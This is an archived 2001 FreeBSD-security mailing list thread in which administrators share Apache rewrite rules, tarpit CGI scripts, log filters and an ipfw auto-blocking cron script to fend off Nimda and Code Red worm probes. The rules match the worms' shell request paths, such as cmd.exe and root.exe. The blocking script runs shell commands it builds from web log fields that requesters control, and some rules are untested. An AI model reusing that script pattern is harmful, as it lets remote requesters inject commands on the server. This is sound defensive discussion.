From: Greg Shenaut <greg@bogslab.ucdavis.edu>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

In message <3BAE0D83.41ACBF7B@unios.dhs.org>, Pat Wendorf cleopede:
>I notice I get nearly 100 messages a day from my LOG_IN_VAIN rc.conf
>option.  Many of which, for the past few months has been connection
>attempts to TCP port 2000, as seen here:
>
>> Connection attempt to TCP 209.226.99.101:2000 from 216.104.103.95:1169
>
>I'm not much up on my exploits, which one is this?

In my /etc/services file, port 2000 is something known as "callbook",
but I don't know what that is.

Greg Shenaut

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23  9:57:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from gaia.nimnet.asn.au (nimbin.lnk.telstra.net [139.130.45.143])
	by hub.freebsd.org (Postfix) with ESMTP id 80D2937B430
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 09:57:09 -0700 (PDT)
Received: from localhost (smithi@localhost)
	by gaia.nimnet.asn.au (8.8.8/8.8.8R1.2) with SMTP id CAA10601;
	Mon, 24 Sep 2001 02:56:40 +1000 (EST)
	(envelope-from smithi@nimnet.asn.au)
Date: Mon, 24 Sep 2001 02:56:40 +1000 (EST)
From: Ian Smith <smithi@nimnet.asn.au>
To: David G Andersen <danderse@cs.utah.edu>
Cc: Chris Byrnes <chris@JEAH.net>, security@FreeBSD.ORG
Subject: Re: New worm protection
In-Reply-To: <200109230836.f8N8akx29012@faith.cs.utah.edu>
Message-ID: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sun, 23 Sep 2001, David G Andersen wrote:

 > Lo and behold, Chris Byrnes once said:
 > > 
 > > Has anyone written an easy-to-use ipfw rule or some kind of script
 > > that will help with this new worm?
 > 
 > Someone already pointed out disabling logging on your webserver.

Not an option here, but it's the large number of entries in *-error.log
that I'd like to be rid of.  *-access.log I can just grep out before log
analysis, if not exclude in the analyser config.

 > He also suggested a Tarpit-like approach.  I like the following
 > simple script, which is what I run on my webservers.
 > 
 > mkdir DOCROOT/scripts
 > # Cover the two alternate bits as well
 > ln -s DOCROOT/scripts DOCROOT/_mem_bin
 > ln -s DOCROOT/scripts DOCROOT/_vti_bin
 > 
 > cat > DOCROOT/scripts/.htaccess
 > ErrorDocument 404 /scripts/nph-foo.cgi
 > <EOF>
 > 
 > cat > DOCROOT/scripts/nph-foo.cgi
 > #!/usr/bin/perl
 > sleep(5);
 > exit(0);
 > <EOF>

Cute.  Will play.  However there are other directories too; dumping
ANY request containing cmd.exe or root.exe would do it best here.

 > NIMDA doesn't hang out for very long waiting for a response
 > to the script headers, so a labrea-tarpit like approach won't
 > actually be particularly effective.  The sleep(5) will slow
 > it down a little bit, and the exit(0) will make it
 > return with no data sent back, not even a 404.  Which

But does *error.log still get hit?  I dealt with /default.ida by giving
'em a one-line one, which at least meant no error logging while reducing
response traffic by two thirds, but poring through apache docs - which I
must be too thick to find easy reading, looking for some way to provide
some short but valid response to such a range of URLs, I've not yet been
able to nut out.  Any suggestions?

 > will help a bit on the outbound bandwidth, but, of course
 > won't help on the inbound.  Others have posted scripts to
 > NANOG (see http://www.nanog.org/ and check the archive)
 > that will automatically trigger ipfw / ipchains additions,
 > but, as always, be particularly careful with those.

Will have a look at these, however carpet bombing whole /24s for the not
even deliberate misdeeds of a few (ok, plenty of) unpatched m$junk seems
rather an overreaction <&^}=

The other thing here (ie in 203/8) is the large number of unsuccessful
DNS requests for reverse mapping of particularly North Asian addresses,
often ending with Server Failures and such - but I guess misconfigured
DNS is no more surprising than zillions of compromised webservers ..

I'd love to find some way of pre-filtering these NIMDA requests and just
dropping them on the floor before apache even considered DNS lookups (?)

Ian


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 10: 3:31 2001
Delivered-To: freebsd-security@freebsd.org
Received: from wrath.cs.utah.edu (wrath.cs.utah.edu [155.99.198.100])
	by hub.freebsd.org (Postfix) with ESMTP id A685637B40A
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 10:03:25 -0700 (PDT)
Received: from faith.cs.utah.edu (faith.cs.utah.edu [155.99.198.108])
	by wrath.cs.utah.edu (8.11.6/8.11.1) with ESMTP id f8NH3OT23311;
	Sun, 23 Sep 2001 11:03:24 -0600 (MDT)
From: David G Andersen <danderse@cs.utah.edu>
Received: (from danderse@localhost)
	by faith.cs.utah.edu (8.11.1/8.11.1) id f8NH3NK24837;
	Sun, 23 Sep 2001 11:03:23 -0600 (MDT)
Message-Id: <200109231703.f8NH3NK24837@faith.cs.utah.edu>
Subject: Re: New worm protection
To: smithi@nimnet.asn.au (Ian Smith)
Date: Sun, 23 Sep 2001 11:03:23 -0600 (MDT)
Cc: danderse@cs.utah.edu (David G Andersen),
	chris@JEAH.net (Chris Byrnes), security@FreeBSD.ORG
In-Reply-To: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au> from "Ian Smith" at Sep 24, 2001 02:56:40 AM
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Lo and behold, Ian Smith once said:
> 
> Not an option here, but it's the large number of entries in *-error.log
> that I'd like to be rid of.  *-access.log I can just grep out before log
> analysis, if not exclude in the analyser config.

   Disable error logging? :)

> Cute.  Will play.  However there are other directories too; dumping
> ANY request containing cmd.exe or root.exe would do it best here.

  Use mod_rewrite to redirect all accesses to that script.

RewriteEngine on
RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi

(I haven't tested this syntax.  Test it first. :)

> But does *error.log still get hit?  I dealt with /default.ida by giving
> 'em a one-line one, which at least meant no error logging while reducing
> response traffic by two thirds, but poring through apache docs - which I
> must be too thick to find easy reading, looking for some way to provide
> some short but valid response to such a range of URLs, I've not yet been
> able to nut out.  Any suggestions?

  The rewriting I specified above will do what you want.  It maps it
to a valid script request.  It'll show up in *access_log.

> I'd love to find some way of pre-filtering these NIMDA requests and just
> dropping them on the floor before apache even considered DNS lookups (?)

  I'm vaguely surprised you have reverse DNS resolution enabled.
You could make life a lot easier on yourself by switching to post-resolution
for a while, and do the DNS lookup _after_ filtering out the bogus
requests.

  -Dave

-- 
work: dga@lcs.mit.edu                          me:  dga@pobox.com
      MIT Laboratory for Computer Science           http://www.angio.net/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 10: 3:43 2001
Delivered-To: freebsd-security@freebsd.org
Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13])
	by hub.freebsd.org (Postfix) with ESMTP id 8B6F537B41D
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 10:03:34 -0700 (PDT)
Received: from localhost (davidk@localhost)
	by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id f8NFxOb41401;
	Sun, 23 Sep 2001 08:59:24 -0700 (PDT)
Date: Sun, 23 Sep 2001 08:59:24 -0700 (PDT)
From: David Kirchner <davidk@accretivetg.com>
X-X-Sender:  <davidk@localhost>
To: Ian Smith <smithi@nimnet.asn.au>
Cc: David G Andersen <danderse@cs.utah.edu>,
	Chris Byrnes <chris@JEAH.net>, <security@FreeBSD.ORG>
Subject: Re: New worm protection
In-Reply-To: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au>
Message-ID: <20010923085802.C85958-100000@localhost>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Mon, 24 Sep 2001, Ian Smith wrote:

> Not an option here, but it's the large number of entries in *-error.log
> that I'd like to be rid of.  *-access.log I can just grep out before log
> analysis, if not exclude in the analyser config.

The method that was mentioned would also work for ErrorLog:

ErrorLog "|grep -v cmd.exe > /normal/error_log/location"


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 10:17:45 2001
Delivered-To: freebsd-security@freebsd.org
Received: from virtual-voodoo.com (bdsl.66.12.217.106.gte.net [66.12.217.106])
	by hub.freebsd.org (Postfix) with ESMTP id CE57137B40E
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 10:17:40 -0700 (PDT)
Received: (from steve@localhost)
	by virtual-voodoo.com (8.11.6/8.11.5) id f8NHHWh34820;
	Sun, 23 Sep 2001 12:17:32 -0500 (EST)
	(envelope-from steve)
Date: Sun, 23 Sep 2001 12:17:32 -0500
From: Steve Ames <steve@virtual-voodoo.com>
To: Chris BeHanna <behanna@zbzoom.net>
Cc: Chris Byrnes <chris@JEAH.net>, security@FreeBSD.ORG
Subject: Re: New worm protection
Message-ID: <20010923121732.B56611@virtual-voodoo.com>
References: <006701c141dd$8f185940$24f2fa18@mdsn1.wi.home.com> <20010923014113.P45913-100000@topperwein.dyndns.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010923014113.P45913-100000@topperwein.dyndns.org>
User-Agent: Mutt/1.3.22.1i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

One simple shell script and you can automatically add offendors
to your ipfw ruleset. Won't stop the initial probe but will stop
repeat performances.

I use the following run out of cron every minute:


#!/bin/sh
cd /root
grep cmd.exe /var/log/httpd-error.log | awk '{print $8;}' | sort -u | awk -F\] '{printf(" /sbin/ipfw add deny ip from %s to any\n ",$1);}' > l && cat /var/log/httpd-error.log >> /var/log/httpd-error.log.new && cat /dev/null > /var/log/httpd-error.log
/bin/sh l && /bin/rm l

Short and simple. Its not perfect but it has reduced my bandwidth quite a
bit.

-Steve


On Sun, Sep 23, 2001 at 02:08:19AM -0400, Chris BeHanna wrote:
> On Thu, 20 Sep 2001, Chris Byrnes wrote:
> 
> > Has anyone written an easy-to-use ipfw rule or some kind of script that will
> > help with this new worm?
> 
>     There's La Brea, but that's probably not quite what you're looking
> for.
> 
> > I have restricted Apache to just listen to my main two web IPs
> > instead of all of the IPs (I have hundreds of domains and each of
> > them previously had its own IP for different reasons), and that's
> > cut down the bandwidth use in half, but I'm still about double what
> > my daily normal bandwidth usage is.
> 
>     As others have posted, you can tell Apache not to log certain
> requests.  That will help your logfile.
> 
>     To avoid wasting bandwidth sending a 404, you could possibly
> either use mod_rewrite or an ErrorDocument CGI script to "tarpit" the
> attacks; i.e., redirect the request to a CGI script that sets MSS to a
> few bytes (a l? La Brea), pretending to legitimately service the
> request.  Be careful:  you will have to watch the number of sockets
> you have open and the number of threads you tie up in this manner.
> Perhaps someone with more time than I have can author up a "mod_NIMDA"
> that can be configured with a max # of threads or max# connections to
> tarpit in this fashion, so that you can limit the amount of resources
> that you use.  Any inbound attacks in excess of these limits can
> simply be dropped on the floor.
> 
> > Frustration is high, and money issues are going to surface soon.
> > Any help would be appreciated.
> 
>     This is the best I can do with the time I have available.  I'm in
> the middle of combatting this problem with a proxy server that is
> under attack (for which I have access to the source).  My solution is
> to do regex parsing on the request using Boost's regex++ (see
> http://www.boost.org) to drop the requests on the floor (i.e., I'm not
> even going to dignify them with a 404), but keep a hash map of
> requesting IP addresses and number of attacks, which periodically gets
> dumped to a separate logfile.  I'd use regex() and regcmp(), but this
> also has to run on Windows.  Unfortunately, I can't share the source,
> but this description should be enough to get you going.
> 
>     Fortunately, I've seen the rate of NIMDA attacks drop by a factor
> of four over the last couple of days.  Either IIS webmasters are
> getting a clue, or their ISPs are being clueful for them (DSL.net, for
> example, is shutting off their infected customers until those
> customers demonstrate that they've fixed their servers).
> 
> -- 
> Chris BeHanna
> Software Engineer                   (Remove "bogus" before responding.)
> behanna@bogus.zbzoom.net
> I was raised by a pack of wild corn dogs.
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 10:41:12 2001
Delivered-To: freebsd-security@freebsd.org
Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178])
	by hub.freebsd.org (Postfix) with ESMTP id 7D43837B42B
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 10:41:08 -0700 (PDT)
Received: from horsey.gshapiro.net (gshapiro@localhost [IPv6:::1])
	by horsey.gshapiro.net (8.12.0/8.12.0) with ESMTP id f8NHf6I8064501
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sun, 23 Sep 2001 10:41:06 -0700 (PDT)
Received: (from gshapiro@localhost)
	by horsey.gshapiro.net (8.12.0/8.12.0/Submit) id f8NHf6Gs064498;
	Sun, 23 Sep 2001 10:41:06 -0700 (PDT)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15278.7858.133595.549621@horsey.gshapiro.net>
Date: Sun, 23 Sep 2001 10:41:06 -0700
From: Gregory Neil Shapiro <gshapiro@FreeBSD.ORG>
To: Ian Smith <smithi@nimnet.asn.au>
Cc: security@FreeBSD.ORG
Subject: Re: New worm protection
In-Reply-To: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au>
References: <200109230836.f8N8akx29012@faith.cs.utah.edu>
	<Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au>
X-Mailer: VM 6.96 under 21.5  (beta1) "anise" XEmacs Lucid
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

smithi> Not an option here, but it's the large number of entries in
smithi> *-error.log that I'd like to be rid of.  *-access.log I can just
smithi> grep out before log analysis, if not exclude in the analyser
smithi> config.

This is what I am using:

RedirectMatch (.*)/(root.exe|cmd.exe|default.ida).* /goaway.html
SetEnvIf Request_URI "/(root.exe|cmd.exe|default.ida|goaway.html)" MSExploitCrap
CustomLog /var/log/httpd-access.log combined env=!MSExploitCrap

And then /goaway.html is just a small file:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML><HEAD><TITLE>Go away</TITLE></HEAD><BODY></BODY></HTML>

With this, nothing shows up in either httpd-access.log or httpd-error.log.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 10:52: 1 2001
Delivered-To: freebsd-security@freebsd.org
Received: from tomts9-srv.bellnexxia.net (tomts9.bellnexxia.net [209.226.175.53])
	by hub.freebsd.org (Postfix) with ESMTP id 084AF37B405
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 10:51:57 -0700 (PDT)
Received: from khan.anarcat.dyndns.org ([65.92.169.79])
          by tomts9-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010923175156.PCQT1679.tomts9-srv.bellnexxia.net@khan.anarcat.dyndns.org>;
          Sun, 23 Sep 2001 13:51:56 -0400
Received: from shall.anarcat.dyndns.org (shall.anarcat.dyndns.org [192.168.0.1])
	by khan.anarcat.dyndns.org (Postfix) with ESMTP
	id 38C271A66; Sun, 23 Sep 2001 13:51:49 -0400 (EDT)
Received: by shall.anarcat.dyndns.org (Postfix, from userid 1000)
	id E5C0A20B4A; Sun, 23 Sep 2001 13:51:44 -0400 (EDT)
Date: Sun, 23 Sep 2001 13:51:44 -0400
From: The Anarcat <anarcat@anarcat.dyndns.org>
To: David G Andersen <danderse@cs.utah.edu>
Cc: Ian Smith <smithi@nimnet.asn.au>, Chris Byrnes <chris@JEAH.net>,
	security@FreeBSD.ORG
Subject: Re: New worm protection
Message-ID: <20010923135143.A546@shall.anarcat.dyndns.org>
References: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au> <200109231703.f8NH3NK24837@faith.cs.utah.edu>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="AqsLC8rIMeq19msA"
Content-Disposition: inline
In-Reply-To: <200109231703.f8NH3NK24837@faith.cs.utah.edu>
User-Agent: Mutt/1.3.22.1i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 23 Sep 2001, David G Andersen wrote:

> Lo and behold, Ian Smith once said:
> >=20
> > Cute.  Will play.  However there are other directories too; dumping
> > ANY request containing cmd.exe or root.exe would do it best here.
>=20
>   Use mod_rewrite to redirect all accesses to that script.
>=20
> RewriteEngine on
> RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
>=20
> (I haven't tested this syntax.  Test it first. :)

Nice idea! Here's what I did:

RewriteEngine on
RewriteRule .*/cmd.exe.* /nimda.txt
RewriteRule .*/root.exe.* /nimda.txt
RewriteRule .*/default.ida.* /codered.txt
RewriteRule .*/Admin.dll.* /codered.txt
RewriteRule .*\\Admin.dll.* /codered.txt

nimda.txt and codered.txt are simply empty files. This reduces the
bandwitdh used by the attack and removes the entries in error.log.

So the syntax is correct.

Note the default.ida entry for th code red worm (is that it?). I think
admin.dll is the same, but I'm not sure. Anyways, it doesn't make much
difference.

Here is a sample telnet output:

GET /default.ida HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 23 Sep 2001 17:46:27 GMT
Server: Apache/1.3.20 (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6a
Last-Modified: Sun, 23 Sep 2001 17:21:20 GMT
ETag: "1d161-0-3bae1a10"
Accept-Ranges: bytes
Content-Length: 0
Connection: close
Content-Type: text/plain

--AqsLC8rIMeq19msA
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjuuIS4ACgkQttcWHAnWiGe05QCbBGOS4Ze36RR/eGXqS+ASIIih
nwEAnAmNfOF5usyn072d8i+UreOEkpwI
=Z8qG
-----END PGP SIGNATURE-----

--AqsLC8rIMeq19msA--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 10:56:20 2001
Delivered-To: freebsd-security@freebsd.org
Received: from winston.freebsd.org (adsl-64-173-15-98.dsl.sntc01.pacbell.net [64.173.15.98])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7209237B41E; Sun, 23 Sep 2001 10:56:11 -0700 (PDT)
Received: from localhost (jkh@localhost [127.0.0.1])
	by winston.freebsd.org (8.11.6/8.11.6) with ESMTP id f8NHtiO29481;
	Sun, 23 Sep 2001 10:55:44 -0700 (PDT)
	(envelope-from jkh@freebsd.org)
To: alex@big.endian.de
Cc: ache@nagual.pp.ru, security@freebsd.org, rwatson@freebsd.org,
	current@freebsd.org, developers@freebsd.org
Subject: Re: ~/.login_conf disabling exact reasons wanted
In-Reply-To: <20010923133859.A10592@fump.kawo2.rwth-aachen.de>
References: <20010922151107.C7524@fump.kawo2.rwth-aachen.de>
	<20010922120739E.jkh@freebsd.org>
	<20010923133859.A10592@fump.kawo2.rwth-aachen.de>
X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20010923105544R.jkh@freebsd.org>
Date: Sun, 23 Sep 2001 10:55:44 -0700
From: Jordan Hubbard <jkh@freebsd.org>
X-Dispatcher: imput version 20000228(IM140)
Lines: 6
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

> Yes, I do, but FreeBSD was 4.4 even before it was fixed.

FreeBSD wasn't 4.4 until it was released and all the tag sliding was
over with.

- Jordan

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 11:10:46 2001
Delivered-To: freebsd-security@freebsd.org
Received: from tomts5-srv.bellnexxia.net (tomts5.bellnexxia.net [209.226.175.25])
	by hub.freebsd.org (Postfix) with ESMTP id 08DFD37B41F
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 11:10:42 -0700 (PDT)
Received: from khan.anarcat.dyndns.org ([65.92.169.79])
          by tomts5-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010923181041.ESAD27768.tomts5-srv.bellnexxia.net@khan.anarcat.dyndns.org>;
          Sun, 23 Sep 2001 14:10:41 -0400
Received: from shall.anarcat.dyndns.org (shall.anarcat.dyndns.org [192.168.0.1])
	by khan.anarcat.dyndns.org (Postfix) with ESMTP
	id CC20D1A86; Sun, 23 Sep 2001 14:10:34 -0400 (EDT)
Received: by shall.anarcat.dyndns.org (Postfix, from userid 1000)
	id 9D3CD20B4A; Sun, 23 Sep 2001 14:10:31 -0400 (EDT)
Date: Sun, 23 Sep 2001 14:10:31 -0400
From: The Anarcat <anarcat@anarcat.dyndns.org>
To: David G Andersen <danderse@cs.utah.edu>
Cc: Ian Smith <smithi@nimnet.asn.au>, Chris Byrnes <chris@JEAH.net>,
	security@FreeBSD.ORG
Subject: Re: New worm protection
Message-ID: <20010923141030.B546@shall.anarcat.dyndns.org>
References: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au> <200109231703.f8NH3NK24837@faith.cs.utah.edu>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="VrqPEDrXMn8OVzN4"
Content-Disposition: inline
In-Reply-To: <200109231703.f8NH3NK24837@faith.cs.utah.edu>
User-Agent: Mutt/1.3.22.1i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


--VrqPEDrXMn8OVzN4
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 23 Sep 2001, David G Andersen wrote:

>   Use mod_rewrite to redirect all accesses to that script.
>=20
> RewriteEngine on
> RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
>=20
> (I haven't tested this syntax.  Test it first. :)

Unfortunatly, I tested this using a text file, which is fine. Here, if I
try using a compiled C script (instead of a perl script, faster on a
small machine), the script gets dumped in binary form! Not executed!

GET /root.exe
ELF     =F04=F44 (444=C0=C0=F4=F4=F4vvxxx=AC=C8=B4=B4=B4pp/usr/libexec/ld-e=
lf.so.FreeBSD=C0=B6
=2E..

So I used the redirect approach:

RedirectMatch .*/(root.exe|cmd.exe|default.ida|Admin.dll).* /cgi-bin/sleep.=
cgi

sleep.c:
int main() {
  sleep(5);
  printf("Content-type: text/plain\n\n");
}

This works. However, it generates a bit too much output:

GET /cmd.exe
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF=3D"/cgi-bin/sleep.cgi">here</A>.<P>
<HR>
<ADDRESS>Apache/1.3.20 Server at anarcat.dyndns.org Port 80</ADDRESS>
</BODY></HTML>

;)

I really don't understand why the Rewrite rule doesn't work as expected.

A.

--VrqPEDrXMn8OVzN4
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjuuJZUACgkQttcWHAnWiGcT/wCfZUO50hEjQUILZJIfZNlkJDgd
c+QAn324N8SSDAEyDviPsqrhDTujaXuP
=v3ql
-----END PGP SIGNATURE-----

--VrqPEDrXMn8OVzN4--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 11:18:50 2001
Delivered-To: freebsd-security@freebsd.org
Received: from wrath.cs.utah.edu (wrath.cs.utah.edu [155.99.198.100])
	by hub.freebsd.org (Postfix) with ESMTP id A058137B429
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 11:18:45 -0700 (PDT)
Received: from faith.cs.utah.edu (faith.cs.utah.edu [155.99.198.108])
	by wrath.cs.utah.edu (8.11.6/8.11.1) with ESMTP id f8NIIiT25761;
	Sun, 23 Sep 2001 12:18:44 -0600 (MDT)
From: David G Andersen <danderse@cs.utah.edu>
Received: (from danderse@localhost)
	by faith.cs.utah.edu (8.11.1/8.11.1) id f8NIIhl29053;
	Sun, 23 Sep 2001 12:18:43 -0600 (MDT)
Message-Id: <200109231818.f8NIIhl29053@faith.cs.utah.edu>
Subject: Re: New worm protection
To: anarcat@anarcat.dyndns.org (The Anarcat)
Date: Sun, 23 Sep 2001 12:18:43 -0600 (MDT)
Cc: danderse@cs.utah.edu (David G Andersen),
	smithi@nimnet.asn.au (Ian Smith), chris@JEAH.net (Chris Byrnes),
	security@FreeBSD.ORG
In-Reply-To: <20010923141030.B546@shall.anarcat.dyndns.org> from "The Anarcat" at Sep 23, 2001 02:10:31 PM
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Sorry, should have mentioned that I have all .cgi files mapped
to executables.

Have it map to your /cgi-bin like you want.

